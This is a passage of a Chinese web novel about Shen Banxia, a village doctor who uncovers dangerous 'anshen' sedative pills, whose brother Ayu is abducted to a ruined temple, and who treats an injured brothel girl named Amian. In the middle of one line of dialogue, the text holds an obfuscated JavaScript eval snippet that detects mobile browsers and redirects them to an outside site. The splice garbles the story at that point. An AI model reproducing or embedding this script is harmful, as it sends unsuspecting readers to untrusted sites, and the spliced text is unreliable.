他想,自己大概是天煞孤星,谁留他,谁就会倒霉。 等他再醒来时,船已经飘到了村子附近。他浑身是伤,饿得视线模糊,走起路来歪歪扭扭。在村口与一条野狗抢食失败后,跌坐在泥地里,脱力地闭上了眼,直到被养父母捡了回去… “阿玉?阿玉!”沈半夏推了推蹲在一旁出神的阿玉,“又白坐了一天……咱们得想想别的法子。” 阿玉回神,眨了眨眼,默默起身,弯腰帮她收拾摊子。 这时,一名年轻妇人抱着摸约两三岁的孩童,啜泣着小跑而来,“大夫,求你救救我女儿。” 沈半夏赶忙迎上去,阿玉将收起的凳子重新搬出来,扶着妇人坐下。 沈半夏接过女童,细细查看起来——只见那孩子紧闭着双眼。冷汗直冒,唇色略微发紫。 妇人怀里的药罐滚落在地,“叮”的一声磕破了一角,沈半夏下意识扫了一眼,眸光一顿。 是最近坊间私下流通很火的,安神丸。 妇人衣着虽不张扬,仍旧是锦缎襕衫,细腰长带。连女童身上的斗篷亦是上好的云锦。可这对母女出行,竟无半个随从,着实有些古怪。 ——咦,不好不好,小娃娃明明一身病气咋这般索然无味。 沈半夏没搭理耳边嘀嘀咕咕的瘟神子,低头专心为小女孩诊脉,问:“几岁了?” “两岁有余”妇人低声应道。 “这药是?”沈半夏抬了抬下巴,阿玉立刻捡起滚落的药瓶递过去。 “月初开始用的……开始确有成效,但不知为何,今日服下后,竟险些要了命。” “为何服药?” 妇人垂眸,神色惶然,“小儿常夜啼不止,嬷嬷们都累得不行……我不过是妾室,怕惊扰了府上。才……才想试试” 她咬了咬唇,低声道:“坊间传闻安神丸能安神定气,我去求了些来……也不知怎地就成了这样……” “一整月?”沈半夏蹙眉,凑近药罐嗅了嗅,问道:“药方可还在?” 妇人忙摆手:“没有,说是祖传秘方,不可轻易示人。” 沈半夏没有说话,在药箱里翻找片刻后,取出参麦为主成分的药丸给小童捏着鼻子塞进了嘴里。 ——原来是加了麻痹病气的药丸。 “你能闻见患者病气的味道?”沈半夏心里默声和瘟神子对话。 ——只要病人自身感受到了病痛,本座自然可以嗅到瘟病之味。 沈半夏默默记下,如若患者症状被麻痹神经或者其他对症药物压了下去,瘟神子就只能嗅到无味的病气。 “以后就别用这安神丸了。小儿夜啼才是常事,强行压制,不仅容易伤及肺腑,反而瞒了其他病症的先兆。”沈半夏又叮嘱那女子,“回去再熬些绿豆汤吧。” 妇人连连道谢,留下药资诊费,匆匆离去。 * 那日后,沈半夏又断断续续接诊了几个过度麻痹的病人,还顺便让阿玉熬了些甘草绿豆粥带到摊子上,顺便能多卖一份银钱。 ——你尽治些没啥滋味的晕沉之症,可续不了多少命! “您看是小女子不想吗?” ——后生得多加努力啊。我看这些人的固疾就滋味颇丰,要不你穷追不舍…… “您吃饱了,我们也得吃饱。” 沈半夏无情打断瘟神子的美好畅想,照她现在的境遇,若不是安神丸非药馆正经流通的药材,这些人恐怕也不会上门找她一个小女子看诊。 罢了,这些时日也算树立了一些名声。 沈半夏搅和着手里的汤碗,笑眯眯盯着阿玉,见他正聚精会神地往药瓶子里灌药丸。 “阿玉,想不想吃绿豆糕呀。” “想的。”听到这话,阿玉立刻抬头,亮晶晶的眸子对上沈半夏,狠狠点了点头。 “那你先推着摊子回去,我去给你买来!” 沈半夏起身拍了拍衣服,琢么着横竖也没几个上门的,不如干脆收摊歇了。摊子摆了半月有余,日日全勤,可怜自家弟弟,忙前忙后的陪着她。 和阿玉暂别,沈半夏独自一人往市集的另一端走去,路过县衙门前,聚集了不少看热闹的百姓。交头接耳间,说今日要审的可是城中大盐商窦家的案子。 沈半夏素来不喜欢瞎凑热闹,正欲绕开,倏地被人拦住了。 眼前人乍一看一身白纻长衫,可外边镶着的银丝锦线漏了金贵,更遑论此人腰间的玉佩香囊叮呤咣啷,是多日未见的柳翩生。 “半夏姑娘,好巧。”柳翩生笑盈盈地和他们打招呼,“先别走嘛,一起看热闹。” “你自己看吧,我还有事,改日再聚。”毕竟是帮了她大忙的人,沈半夏礼貌婉拒。 “你看那是谁!”柳翩生没有让开,拦住她的衣摆朝着县衙的方向指去。 沈半夏疑惑地往里一看,那公堂上负刀而立的英挺青年——是夏久。 “阿久是云合的参军。”柳翩生解释道,“那日我们…诶,开始了!” 公堂之上,县令敲了敲惊堂木,堂下顿时安静下来。 "带原告被告上堂!" 随着衙役的喝声,一个中年男子走了出来,一身锦缎长袍,面容憔悴,眼下两团乌黑。 跟在他身后的是个青年,一身素色布衣,面容清瘦,战战兢兢低着头。 "堂下何人,报上名来。"县令沉声问道。 中年男子深施一礼:"草民窦天德,乃窦氏盐行东家。状告高景明以毒药害我父亲窦明跃!" 他说及此处,声音哽咽。堂外围观的百姓顿时议论纷纷,谁不知窦家老太爷是有名的大善人,每逢灾年开仓放粮,如今竟遭此横祸? 青年闻言,扑通一声跪倒在地:"大人明鉴!小人冤枉啊!窦老太爷是小人表叔公,小人怎会害他?" 县令锐利似鹰隼的目光打量二人,缓缓道:"窦天德,将事情原委细细道来。" 窦天德深吸一口气,强压悲痛道:"回大人,十日前,这高景明来我府上拜访,带了一盒所谓的''安神丸''。谁知服用三日后,突然昏倒,至今不醒!" 他说着从袖中取出一个精致的檀木盒子,呈上公堂:"这便是那安神丸,请大人过目。" 衙役将盒子呈上,里面整齐排列着十余粒褐色药丸,散发着淡淡药香。 青年见状,急忙从怀中掏出另一个小瓷瓶:"大人,小人也随身带着这安神丸,一直服用,绝无异常!"他倒出一粒,毫不犹豫地放入口中咽下,"大人请看,这药绝无毒害!" “可也不是寻常安神药物。”沈半夏摇了摇头,没想到这安神丸的戏还唱上了公堂。 “半夏姑娘也知道?”柳翩生疑惑道。 沈半夏颔首,神色不明地盯着堂上慌乱的青年,“你认识他们吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15464344|169794||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “不太熟。”柳翩生摇了摇头,“不过听说窦家当家窦天德和老太爷关系微妙,前些日子窦天德在庄子里偷养小娘,差点被老爷子打出去…” “高景明呢?” “此人刚来云合不久。”柳翩生想了想,“我在醉仙楼见过他一次,少言寡语,不太好相与。” 二人话间,县衙里的案子因窦老病因尚未查清,县令宣布改日再审。 “愿窦老早日康复吧…对了!半夏姑娘,可否赏脸与我还有阿久去醉仙楼小聚一二?”柳翩生笑嘻嘻凑到沈半夏跟前。 “…”沈半夏下意识想拒绝,但瞥见夏久衣着官服的背影…… ——你那日鬼市上救下的,果然是官府之人。快!搭上此人定能遇到更多美味可口的…… 瘟神子突然闪现在公堂之上,探头探脑地上下打量起负手而立的夏久,一会儿摸摸他的官服,一会儿凑上前去嗅嗅桌案上的惊堂木,公堂之上血腥气浓厚,还混合着些许酸涩。 既然眼前除了沈半夏无人可以瞧见他,沈半夏暗暗思忖,难得认同瘟神子的胡言乱语。 她沉默半晌,朝柳翩生点了点头,“好。” 况且醉仙楼的糕点声名远扬,阿玉会喜欢。 * 朱漆廊柱下悬着琉璃灯,映得"醉仙楼"的鎏金牌匾流光溢彩。云合颇负盛名的酒家不少,但据说都不及醉仙楼招夫人小姐们喜爱。 二楼雅间珠帘轻晃,夏久官服尚未换下。匆匆赶到,掀帘而入。 “沈姑娘,那日救命之恩,还未好好答谢,”夏久拱手作礼,“听阿生说你来了云合,事务繁忙,未曾登门,还请见谅。” “柳公子已经帮助我和阿玉很多了。”沈半夏摆摆手,“方才堂上那案件,我或许也能给夏公子提供一些线索。” “请姑娘指点一二。”夏久抬眼有些惊讶。 “近日来,来找我这江湖郎中的类似病人有好几位。”沈半夏看向门口,穿鹅黄襦裙的跑堂姑娘进来,托着描金的漆盘,盘中盛着金丝枣泥卷。 “第一位,姨娘因孩童整夜哭啼,给女儿用了安神丸。” “第二位,身患顽疾多年的书生,因难以专注备考,母亲给他服用了安神丸。” “第三位,码头卸货的脚夫,因夜晚腰间酸痛难耐,怕耽搁了白日劳作,自己服用了安神丸。” 沈半夏戳了戳瓷盘里的糕点,筷尖占了些许,塞进嘴里尝味道。 “方子你们可能也查过了,先不论酸枣仁黄连白芍这类温和安神的,那附子,曼陀罗一类,可是大宴的严管…” 她放下筷子,受不了过于甜腻的口感,转头盯着夏久。 “来我这摊上看诊的,多因不得已,要么没钱,要么不便去医馆求医…” “多谢半夏姑娘提点!”夏久沉思,窦家在云合威望颇高,窦老病倒自然能惊动官府。没想到民间类似情况已然不算罕见… “其实,我也有一事想请教夏公子。”沈半夏正色,“那日你我三人相遇的鬼市…夏公子之后可有再去?” “确实去过,但一无所获。”夏久摇了摇头,“那市集诡谲莫测,再无法寻得先前方位。” “是吗…”沈半夏听完这话心下一沉。 “夏公子可还记得此物?”沈半夏从怀里掏出一个木质腰牌,正面平平无奇,背面细看镶嵌着一圈碎玉。 “那日你我三人在鬼市,扎晕你前我顺手拽下藏进了红绳摊的木板之下。”沈半夏盯着夏久,指尖摩挲着碎玉。良久,她笃定道。 “山贼在找人。” “多谢姑娘!”见到腰牌的瞬间,夏久后怕的挺直了脊背,对着沈半夏拱手作揖,“可事关机密,还请沈姑娘见谅,待我上报我家大人,如有消息定给姑娘一个答复。” 见问不出额外信息,沈半夏点了点头。 不知道山上到底发生了什么,还有他们的村子… 酒足饭饱,三人在酒楼前道别,但柳翩生偏拉着夏久要送沈半夏回去,还替她拎着给阿玉打包好的糕点,嚷嚷着要亲自送到阿玉手里。 沈半夏无奈,那宅子是柳翩生的,连矜贵的糕点也是蹭的夏久的“线索费”。吃人嘴短拿人手软。只好任由二人跟着。 可谁知,推开院门,等待她的是却一片狼藉—— 沈半夏瞳孔骤缩,瞬间脸色煞白。她风一般冲进里屋。只见屋内一片漆黑,桌椅被翻倒,衣物横七竖八地零散在地。 她的阿玉…不见踪影。 4. 破庙 戌时已至,暮鼓钟声起。 沈半夏身后的城门缓缓合上,打更人锣声渐远。 月影斑驳,照得沈半夏攥紧的指节发白。方才将别院翻天覆地好一番搜寻,一无所获,带走阿玉的人并没有留下线索。 家中钱财未少分文,阿玉虽身弱单薄,也已身长八尺不该是被拐孩童的年岁。 “瘟神子?”沈半夏心下默念,“你可知阿玉踪迹?” ——不知,本座不是窥探人踪迹的神仙。 沈半夏心下更是着急,二人来云合尚未足月,阿玉每日寸步不离沈半夏,哪能招惹新的仇家… 可新的没有,旧的就不好说了。 她颤抖着闭眼,脑海里浮现出云溪村黢黑绝望的惨状,该不会是屠村的人找到他们了吧… “半夏姑娘!当心!”夏久大喊,用力一拽沈半夏的胳膊后退一步。 一枚铜质袖箭扎在方才沈半夏站的地面上,连着一封未署名的信件。沈半夏弯腰用手帕包住箭头用力一拽,只见偌大的信纸上只有四个字: “城东破庙” * 阿玉醒来的时候,脑袋似乎是被千金巨石压着般沉重。他环顾四周,微弱月光下粉尘浮动,眼下空旷,高约莫三四丈,蛛网横成,中央靠后的地方有一尊断头佛像,一股子衰败之气。 “醒啦!” 大抵被他醒后挣扎声惊动了,一个身着深蓝色布衣的中年男子晃晃悠悠朝他走来。 阿玉一言不发,偏头躲过男人伸来想要拍他脸颊的手。这人走路下盘不稳,袖口滑落时露出的手臂上有层叠嵌套的圆形疤痕。 “细皮嫩肉的,看到这个怕了呀?”男人注意到他的目光,干脆挽起袖子大方伸到他眼下,“小娃娃跟你那肤白貌美的姐姐可见不得这个哟!” “我阿姐是医者!”阿玉瞪了瞪眼前人,听不得有人说沈半夏的不是。 “哈哈哈哈,医者,一个小女子还敢称医者?”男人低头,肩头快速上下伏动,仿佛听了天大的笑话。 “给他点教训。”草堆后走出另一人来,这人也一样身形瘦削,眼下乌青,不知打满补丁的褴褛下是否也满是瘢痕。 男人一脚踹在阿玉的身上,用足了力气,阿玉被踢地狼狈侧身倒下,疼痛从落脚处扩散至五脏六肺。 “回去告诉你姐姐,别多管闲事。”男人压低声音,眼眶欲裂地瞪着,又一脚踩在他的大腿上。 “咳…你们…是…谁。”阿玉挣扎着想起身,但因手被从后束缚着屡次失败。这二人他从未见过,定然不会是沈半夏的病人。 “少管。”男人踹够了,直起身睥睨眼下的少年,“老子最讨厌自以为是的狗屁侠…” 男人说到一半,突然浑身一震,烧灼感像是火苗从上到下吞噬住整个躯体,立刻倒地痛苦地在地面卷曲扭动。 “阿华,你没事吧快吃药。”蓝色布衣赶忙从怀里掏出药瓶,一只手从背后禁锢住男人的腰侧,一手将药丸塞进男人打寒颤的牙关。 阿玉默不作声地看着二人,方才的药丸好生熟悉,沈半夏这五年来大半时间都在捣鼓药材,采回来晾干的,炒制的,磨成粉末,碾成浆液的。连带着他的鼻子也越发敏锐。 是安神丸。阿玉心下了然,这伙人是冲着沈半夏来的。 狂风裹挟夜色突袭,灭了跳动的烛光,庙内只剩凝滞的黑暗。紧接霹雳一声,室内立马被照的煞白。 “呜呜…” 倒在冰凉地面上的少年突然受惊了般,猛得蜷缩躯干,喉头翻滚出大声呜咽。 刚扶同伴倚靠在柱边的男人被他发癫似的样子吓了一跳,迟疑走进了些,冷白的电光下,少年清秀的脸颊煞白,因为恐惧爬满了泪水,浑身都在颤抖,嘴里似乎在呢喃着什么。 “你说什么!”男人蹲下凑近,总算听清少年的低喃: “不要劈我…不要劈我……不要!” 蓦地,少年见男人凑近猛一抬头,乌黑的眸子盛满惊恐,眼眶欲裂,仿佛抓住救命稻草般直勾勾盯着男人,“求求你,带我走!” “少装神弄鬼!” 男人刻意拉高了声量,像是在给自己壮胆。方才的狂风卷灭了烛火,屋外乌云蔽月,殿内更是一片漆黑,偶尔闪过霹雳电光。气氛确实有些诡异,男人咽了咽口水起身后退。 “打雷了…你…大哥你带我走好不好。” 少年往男人身前蛄蛹,身抖如筛糠。 “五年前…雷劈死了我母亲,大火毁了我的家,一月前,又是雷劈在了村庄的茅草上,烧了整个村子…我不是…我不是被诅咒的不祥之人……我不是……” 少年哭得满脸鼻涕眼泪,怕极了似的,抬头一脸哀求看着男人,“不是来劈我的,求求你带我走。” 五年前的事尚无可对证,但上月确实多糟雷雨……听说有村子真被一把火烧尽了… 男人吓得一脸惨白,眼前这少年莫不是真的天煞孤星,被诅咒的。他兄弟二人不过想吓唬吓唬那个黄毛丫头,现下目的也差不多达到了,可不能沾上不干净的东西丢了性命… “你…你走开!”男人猛地推开少年,赶忙扶起同伴,踉跄跑出破庙,“天神大人在上,冤有头债有主,可千万别劈了我等命苦之人!” 见二人离开,阿玉眼神时明时暗,方才的怯懦荡然无存,他漠然半抬着眼站起身来,束缚他的绳子在被踹几脚的时候撞到了破石柱,现下已然松开。 庙门口走入一位青衫白带的老先生,看清来人后,阿玉瞳孔猛缩,发自内心的恐惧瀑出。 他还认得,此人是当今太子的老师,太傅郑与成。 “老臣参见殿下!”老先生衣摆半扬,随即以膝磕地,拱手行礼。 “你认错人了。”阿玉强忍不适面色平静地望着老先生。 “殿下这些年流落民间,定受了苦。”老先生目光如炬,仿佛能穿透阿玉强撑的伪装洞穿他的躯体。“殿下随老臣回去吧。” “苦?”阿玉揉揉酸胀的手腕,清秀漂亮的丹凤眼里漏出嘲讽的笑意,“有令妹给我下的药苦吗?” “舅舅。” 当今太子的太傅是先皇后的亲哥哥。先陈皇后同胞妹共事一夫,要说陈家该是受尽皇室恩泽,虽陈皇后被废香消玉殒,她的胞妹转而就替了姐姐的位子,成为当今另一个风光无限的陈皇后。 “前尘往事,殿下切勿妄言。”郑与成面色如常,全然不似局中人般淡然。 “殿下现下难以自保,遑论沈姑娘…” “不准提她!”阿玉咬牙打断,他不想自己的脏事被沈半夏知道。 “殿下莫急,沈姑娘天资聪慧医术精湛过人,可偏生恻隐心强,可救人者…”他顿了顿,弯腰捡起滚落在地上的药瓶,“可救人者,难自救。” “殿下,也舍得她卷入凶险?” “我自会护她周全。” “殿下拿何相护?”郑与成上下打量面相狼狈的阿玉,笃定道:“殿下自身难保。” 他无可辩驳,不说皇权富贵,沈半夏还要为 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“你最好没事!真是一刻也离不得。”确保眼前人也就受了点皮外伤,沈半夏吊在嗓子眼儿一个时辰的心总算是落了回去。 “那阿姐就一刻也不要离开阿玉呀!”他笑弯了眼,露出往日乖巧恬静的笑容。 “走!我们回家!”沈半夏一把拉起阿玉,身后夏久带着几名捕快搜寻现场。 刚出破庙,柳翩生才气喘吁吁地跑来,见沈半夏搀着阿玉走出来也松了口气,“找到就好!” 一行人在夏久的带领下回城,路过老乞丐的破柴屋时,沈半夏突然想起什么似的驻足,“先前有包银针一直没找到,怕是落在了此处,我先去取。” 说罢摸黑进屋,一股浓厚的血腥味打破了黑暗的寂静,借着月光,沈半夏看到一个十来岁大小的女孩面色惨白的躺在草席上,污血浸满了外衫,气息微弱… ——是外伤! 空气里的血腥味香甜诱人,瘟神子兴奋的窜了出来,激动的盯着少女——的伤口上下打量。 ——你瞧她微微卷起的伤口还在渗血,仿佛金黄色的油泡冒着的油脂香味,是就久未曾尝到的酱烤味儿。 “你真是个……瘟神啊。” 沈半夏被他一顿吃播般的点评搞得一激灵,可眼下救人要紧…… “阿玉!夏公子!” 沈半夏陡然提高音量,赶忙上前查看女孩的情况。 颈侧脉动微弱,失血过度导致神智不清,有休克前兆。沈半夏掀起女孩的外衫,愣了愣,五年了,自从穿越到大晏,沈半夏很久没有见过血肉模糊。 “沈姑娘,这…”夏久等人赶忙进屋,看清后也都傻了眼。 “夏公子可否带阿玉回住所帮我取些东西。”沈半夏正色,“我的药箱。” “柳公子帮我准备些烈酒和最上好的棉线。” “这…那我回家去取!”柳翩生眼见着夏久和阿玉已快步离去,急得团团转。 “你家太远了,要快!”沈半夏没回头,她正弯腰拿干净的棉布轻轻按压女孩渗血的腹部,那有一条三五公分长,深可见骨的刀伤,可怕的是,里面竟还嵌了零星碎瓷片。 “可这关门闭户哪去取烈酒啊!” 柳翩生跺脚,大半夜的关门闭户,倒是上好的棉线可取他的衣料边角凑活…… “烈酒,来也!” 5. 阿棉 “谁要的烈酒?” 来者是个颌下蓄须的小老头,松垮衣衫虽东一块西一块的满是补丁,但身无异味。他腰间负一朱红漆的大葫芦,应当是他言之烈酒了。 柳翩生正毛焦火辣得紧,眼见老乞丐进了屋,摸出几个铜板扔他手里,不耐烦地挥袖:“走走走,勿再添乱!” “公子瞧得白生俊俏,怎是目无尊长之辈。”小老头摇头晃脑走进,叹气直瞥柳翩生,到是爽快收下了铜板。 “你算什么尊长……” “柳公子,把他的葫芦递过来。”打断他的,是方才一直没搭理二人的沈半夏。 她接过酒葫芦,翻找片刻端出一个木盆,速拿井水冲洗后,咕咚咕咚整个倒了进去,霎时间酒香四溢。 “哎哟,怎得不给老夫留点……”老乞丐心疼得垂手顿足。 “闭嘴!赔你便是了。”柳翩生嫌他聒噪,见烈酒有了,即刻用力撕下块衣料,抽丝后一并递过去。 沈半夏也寻到遗落的银针包,取过几根和棉线一起浸泡进了木盆里。 这时阿玉二人也取回了沈半夏的行头,见了老乞丐阿玉也一惊。 “阿爷也在这呀!”他小跑到沈半夏身侧,娴熟地帮她摊开药箱,“阿姐!你的药箱!” 来云合的这些日子,沈半夏给自个儿硬凑了一套装备。除了瓶瓶罐罐的各式药丸,还有能简单处理外伤的物件:煮沸后烈日曝晒的棉布、跟隔壁跳大神的道士换来的跌打药酒、还有一包精贵的细盐。 沈半夏洒了些许细盐进大碗的清水里。瞧这一屋子老少皆有的大男人,眼下一顿,“阿玉留下,各位麻烦在外候着。” 草席上的少女意识愈发模糊,沈半夏收回打算萃取麻药的银针,吃不准少女机能情况,若真休克昏迷,反而陡升难度。 嘱咐阿玉按住少女的肩头,沈半夏小心翼翼掀开她的衣衫,露出大片腹部皮肤。紧接着,舀取一瓢淡盐水,开始仔细冲洗触目惊心的伤口。 沈半夏蹙眉,不确定之前少女遭遇过什么,但感染的风险极高。前世炮火连天的记忆里渗透火药味的画面涌入心头,脏乱差的屋舍,狰狞凶相的雇佣军和哀嚎遍野的难民,也是人间炼狱。 相较而言,大晏的五年反倒偷得浮生几岁闲。 伤口冲洗掉不少碎瓷片,还有些嵌得深,沈半夏凝神耐心一点点挑出来。片刻后,她穿针引线,打算做最后的缝合。 “阿姐…这是…” 沈半夏方才想起阿玉是第一次见他缝合伤口,抬头给他递上一个安抚的眼神,嘱咐他手下使劲,“按住了。” 寥寥几针,沈半夏素来习惯只做必要缝合。一来她不喜欢歪扭的蜈蚣腿,二来省下的分秒许能再救一命。 处理好伤口,少女的意识也未彻底回转,失血和疼痛透支了体力,现下浑身罩着一层薄汗。 ——不错嘛,有你前世神采。 见她大功告成,瘟神子才慢悠悠地现身,他餍足地倚在墙边,一副吃饱喝足的食客模样。 “这顿可续多少命数?”沈半夏心下询问。第一次瞧见瘟神子这般满意,看来外伤的病痛之气能增加他不少修为。 ——不可小觑,可抵小半年咯。 “……” 不再搭理瘟神子,沈半夏嘱咐阿玉给少女灌一小口盐水,自己起身准备招呼屋外等待的众人。 “阿姐!你受伤了?”阿玉惊呼,他见沈半夏膝处有一片血迹,可席上的少女伤口皆在上半身…… 沈半夏一愣,她自然没有受伤,低头一看,膝下确实占了一片深红色血迹。 只不过,血迹仍旧是席上的少女的。 沈半夏面色一沉,心间略过一丝不好的预感,血迹是少女腿间草席上的,方才急着处理伤口,加之略微翻动了少女的身体才漏出来。她立刻让阿玉背过身去,略带颤抖的指尖伸向少女的裤头…… * 片刻后,阿玉将屋外等候多时的众人请了进来。 “你说这破房子是臭乞丐的?”柳翩生气得吹胡子瞪眼,月前他亲自迎姐弟二人去的别院,但没和老头打过照面。 “你这后生好是蛮横!”老乞丐捻起胡须,余光却在打量草席上的少女。 “罗老,这姑娘到底为何在此。”沈半夏径直打断一老一少斗嘴。 “哎哟,此乃老夫的至交小友,老头子去春韵坊讨酒吃结识的。”不过大多是偷摸进后厨靠自个儿“讨”来的。可春韵坊的仆从小厮个个凶悍刻薄,他老乞儿也有马失前蹄的一天,幸得小姑娘相助,才逃过一顿皮肉毒打。 “可知是为何所伤?何时所伤?可否有旧疾?”沈半夏虽不指望他都能回答,但也一一问询道。 “是春韵坊那恶毒的护院头子,邢大干的。”提到邢大,老头顿时吹须瞪眼,面露愤色,拎起酒葫底朝天倒了半晌无果,干脆坐下开始给众人讲少女身世。 草席上的少女单名一个棉,唤作阿棉,正值豆蔻,是春韵坊里梅娘子的女儿。而这春韵坊,是云合有名的风尘勾栏之地,日日笙歌缭绕,传闻不仅佳人笑语盈盈,更能得琴瑟曼舞的闲趣。 平日里阿棉多是做些后院的粗杂活路,或者帮着楼里姑娘们上街做些脂粉采买。梅娘子母女是年初才被卖到春韵坊的,听说是被云合有名的富贵人家大太太赶出来发卖的,因着是大家,消息一直捂得紧。 阿棉虽整日粗布麻衣,灰头土脸,但小姑娘出落得愈发动人,被腌臜心思的贵客看上了。梅娘子拼死护女但奈何本是无依浮萍,只好寻日子让阿棉带着细软逃跑。 十来岁的孩子能跑多远?不消三日便被护院邢大给捉了回去。这邢大更不是个东西,逮到阿棉后动了邪念,欲先在外处行不轨之事,阿棉恐怕是故意引他来了这老乞丐的破柴房。 “半夏姑娘是知道的,老夫平日里不在此落脚。”老头儿眼珠子一转,瞧着阿棉叹息,“老夫到时,悄摸撞见邢大骂骂咧咧跑了出去,进屋一看,小友满身是血好不吓人。” “亏得半夏姑娘今夜来访,四下根本寻不到大夫。” 沈半夏心下了然,自从和阿玉搬去别院 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“走啦阿久!”柳翩生一刻也不想和老头多呆,干脆扯着夏久胳膊,和等在外的沈半夏二人道:“半夏姑娘明日一早我二人也来帮忙,需要什么药材我帮你去采买。” 枝节横生的一晚总算是落下了帷幕。 * 翌日,晨光熹微,破晓时分落了雨,街头巷尾湿漉漉的,空气里混合着潮湿的苔藓味儿。 沈半夏和阿玉二人再次造访老乞丐的破柴房。一进屋就瞧见老头儿头垫着胳膊趴在桌前睡得打呼,想必是守了少女一宿。 “夜间有发热吗?”沈半夏无情地推醒了老头儿,蹲下身仔细瞧草席上少女的模样。 “嘿,没有!”老头儿见是沈半夏来了,被叫醒了也不恼,摇头晃脑得凑到沈半夏跟前邀功,“照姑娘的吩咐盯着呢。” 沈半夏松了口气,少女年轻,虽身形瘦削,但看来底子还不错。她轻轻揭开腹部伤口上罩着的一层棉纱,伤口周围干爽,未见积脓红肿,她之前就察觉破柴房虽然小旧,但着实干净。 昨晚她没有让众人帮忙将少女抬回去,原因之一自然是怕扯动伤口,另一则是老乞丐的地盘,算得上乱中有序,起码干爽。 “哇,半夏姑娘怎在人肚子上刺绣!”老头儿一瞧少女缝合的腹部,吓得一惊,凑近了些端详三四道黑线,“这啥图案能保安康吗?” 沈半夏没搭理他,草席间少女有醒转的迹象,唇见溢出轻声的呢喃。沈半夏低头聆听,小姑娘在唤的果然是,“阿娘”。 三人又守了一炷香的时辰,柳翩生喘着粗气风风火火的来了。 “不好了半夏姑娘!” 柳翩生是一个人来的,沈半夏心下一紧,照夏久的脾气,他一早定是去查阿棉和梅娘子的事了。 “今早阿久带人去春韵坊查访,”他胸口起伏剧烈,今日腰间的配饰都少了不少,“谁知正巧碰见楼里死了人!” “那死者,正是阿棉的娘亲,梅娘子。” 6. 懊悔 雨后潮湿气尚未散尽,梅子黄时屋内昏暗逼仄。 “梅娘子过世了?” 老乞丐错愕惊呼,“唰”地起身撞翻了椅凳。 柳翩生跑得匆忙,半俯身左手撑住门框喘粗气,眸光环视屋内,哪知刚巧对上少女睁开的眼睛。 “啊,你醒啦……” “……” 阿棉躺在蒲草杂乱编成的草席上,身下是沈半夏怕她感染,多垫的一层干净棉布。薄唇紧抿,指节用力攥得发白,本就虚弱的身子更是笼上了一层阴郁。 但她没哭。 “小友你……”平日里惯能油嘴滑舌的老头儿支支吾吾吐不出妥帖的劝慰。 “我陪她说说话,请诸位先移步。”屋内空气凝滞,气压低沉,沈半夏干脆挥手赶人,打算一人守在少女消化噩耗。 “阿棉多谢姐姐救命之恩。” 率先打破沉默的是阿棉。她刚想起身就被沈半夏按了回去,可还是牵扯到腹部伤口,黄豆大小的冷汗簌簌坠落在草席上。 “先养伤要紧。” 沈半夏心下不忍,只能说些徒劳的话安抚。阿棉是个十足机敏的姑娘,替她包扎下身时,沈半夏一度以为那腌臜东西干了丧尽天良之事,谁想解开裤头,竟只在她大腿间寻到几处渗血的刀伤。 “阿棉真棒,很会保护自己。”沈半夏安抚地摸了摸少女的头。 “娘亲说,男子最忌讳女儿身下血,说是厄运灾祸的至阴污秽之物。”提起娘亲,阿棉垂下眼睫,眼角雾气氤氲。 “所以阿棉割破了大腿,成功骗过了邢大。”沈半夏肯定得朝她点头,眉眼间全然是欣赏和称赞。 “阿棉勇敢聪慧,娘亲在天有灵也能安心了。” “姐姐……” 刚听到娘亲噩耗的时候,耳鼻似是被封住了,心头肉被剜下一块,感觉不到疼。可等劲头一过,铺天盖地的恐惧和悲伤浇头而下,左手五指深深陷入蒲草团里,先是喉痛哽咽,抬起手背抵在额前,低闷的啜泣声一点点拔高,眼泪鼻涕倒灌进喉咙里,咯血般难受。 沈半夏沉默地在一旁陪着她哭到力竭,等少女颤抖地身体不再剧烈起伏,轻柔地扶起她喂水。 “姐姐,我想见娘亲。” “好。” * 屋外,老少三人大眼瞪小眼。 生性聒噪的柳翩生和顽童老乞丐一见面就天雷勾地火,二人从责怪柳翩生性格冒失惹人烦,争到了老乞丐破屋子太小都不给病人一个单独隔绝的空挡。 但都是在心疼少女阿棉的遭遇。 阿玉没有加入,乖乖地守在门边,透过门缝往里窥探,面色平静,只是手指用力攥紧了木质门框。 他只能依稀瞧见沈半夏一个挺直的背影,此时她正盘坐在阿棉身侧,时而伸手轻拍少女的头。 昨夜,姐弟二人合眼不过两个时辰。只因沈半夏回家后将他从头至脚细细瞧了个遍。 她十指纤细,却强劲有力。无论何时看诊,她皆会先朝手心哈气,待寒气褪去后,才小心翼翼地揭开他的里衫。 沈半夏指腹接触到他精瘦的后背传来苏麻感,阿玉生得白皙,不见光的后背更甚,不知怎得,明明浑身早被沈半夏看去了,昨夜被阿姐“正经”地上下其手后,他竟心如蚂蚁爬似的奇痒难耐,幸得屋内烛光昏暗,不然定会被发现他微微泛红的肩头。 距离上一次沈半夏给他上药已经过去了好些年。 初至云溪的时候,他也浑身伤痕,腕上有指甲嵌入皮肉的掐痕,后背有长期卧床闷压的湿疹,前胸有和野狗抢食被偷袭的齿痕,膝盖和小腿是逃跑路上的跌伤。还有,长期服药残破不堪的五脏六腑。 但沈半夏好像一点也不嫌弃。 阿姐身上常年覆着一股安神沁人的木质香,约莫是草药的味道。比太医署端来苦涩酸拗的药甜多了。 其实,沈半夏不仅不嫌弃,她还很很兴奋。家贫如洗,虽置身桃源,但没了医者的身份沈半夏难得遇到一位能大展身手的患者,自然是拎着奄奄一息的少年好一顿霍霍,阿玉很乖,以沈半夏的医嘱为天。几年下来,硬生生给他调养到七八成寻常少年的体魄。 沈半夏花了好些年治好养乖的狗崽子,怎许外人伤他分毫。 阿玉眸光半敛,阿姐单薄瘦削的身子在病弱少女身前显得格外高大,日光透过窗柩撒在她身上,熠熠生辉。 * “我要带阿棉去趟县衙。”不多时,沈半夏推门而出。 “好,我帮阿姐寻一架子来。”阿玉点头附和,转身朝柳翩生咧嘴一笑,“柳大哥,一定知道哪里可以找到吧?” “包在我身上!” 经一番休整,三人一同抬着阿棉来到县衙寻夏久。 云合县西靠溱岭山脉,南临蓬海,各路商贾贸易交汇,来往人口繁杂。 